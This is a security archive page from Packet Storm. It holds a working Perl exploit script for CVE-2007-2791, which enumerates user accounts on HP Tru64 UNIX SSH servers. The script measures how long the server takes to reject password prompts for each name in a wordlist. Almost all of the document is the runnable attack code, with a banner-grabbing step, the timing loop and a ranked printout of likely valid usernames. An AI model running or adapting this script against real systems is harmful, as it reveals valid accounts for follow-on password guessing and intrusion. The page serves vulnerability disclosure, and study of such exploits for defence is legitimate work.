exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hptru64-enum.txt

hptru64-enum.txt
Posted Jun 7, 2007
Authored by Andrea Purificato | Site rawlab.mindcreations.com

HP Tru64 remote secure shell user enumeration exploit.

tags | exploit, remote, shell
advisories | CVE-2007-2791
SHA-256 | 08abc2bc8e46245c8a000cd064c55c818fc2dd3ec65867d82d5156554ce8a7d2

hptru64-enum.txt

Change Mirror Download
#!/usr/bin/perl
use warnings;
use strict;
#
# Remember: you need to accept ssh key first!
#
use Tie::File;
use Fcntl 'O_RDONLY';
use Expect;
use Time::HiRes qw(gettimeofday);
#
# tru64-sshenum.pl
# HP Tru64 Remote Secure Shell user enumeration exploit (CVE-2007-2791).
#
# Author: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# The following supported software versions are affected:
#
# HP Tru64 UNIX v5.1B-4
# HP Tru64 UNIX v5.1B-3
#
# The Hewlett-Packard Company thanks Andrea Purificato for reporting this
# vulnerability to security-alert@hp.com
#
# References:
# - http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01007552
# - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2791
# - http://rawlab.mindcreations.com/codes/exp/nix/tru64-sshenum.pl
#

my $verbose = undef;
my $port = 22;
my $timeout = 10;

print <<BANNER;
$0 - HP Tru64 Remote Secure Shell user enumeration exploit

Andrea "bunker" Purificato - http://rawlab.mindcreations.com
37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2

BANNER

print "Usage: $0 <target> <userlist>\n" and exit(-1) if ($#ARGV<1);

my $target = $ARGV[0];
my $wordlist = $ARGV[1];
chomp (my $ssh = `which ssh`);
chomp (my $tel = `which telnet`);
my %htimes; my @atimes;

print "[+] Grabbing banner...\n";
my $exp = Expect->spawn("$tel -l fake $target $port")
or die "Cannot spawn $tel: $!\n";;
#$exp->log_stdout(0);
$exp->expect(5,['SSH|ssh'=>sub{$exp->send(".\n")}]);
$exp->close();
print "[+] Done!\n\n";

sub timing {
my $user = shift @_;
my $t0 = gettimeofday;
my $t1 = undef;
my $exp = Expect->spawn("$ssh -l $user -p $port $target")
or die "Cannot spawn $ssh: $!\n";;
$exp->log_stdout(0);
$exp->expect($timeout,['assword:'=>sub{$exp->send(".\n")}]);
$exp->expect(undef, [ qr'assword|denied'=>sub{$t1=gettimeofday}]);
$t1 = gettimeofday unless ($t1);
$exp->close();
return sprintf "%0.3f", ($t1-$t0);
}

tie my @wlst_ln, 'Tie::File', "$wordlist", mode=>O_RDONLY
or die "$wordlist: $!";

print "[+] Started, please wait: ";
for (@wlst_ln) {
print "($_ dup?)" if ($htimes{$_});
my $ret = timing($_);
$htimes{$_} = $ret unless ($htimes{$_});
push @atimes, $ret;
unless ($verbose) { print "." }
else { print "$_\t\t$ret\n" }
}
print " Done!\n\n";

#
# Do whatever you want with time values:
#
# (sorted by values)
#
foreach my $key (sort {$htimes{$b}<=>$htimes{$a}} keys %htimes) {
print "$key:\t\t$htimes{$key}\n";
}
exit(0);


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close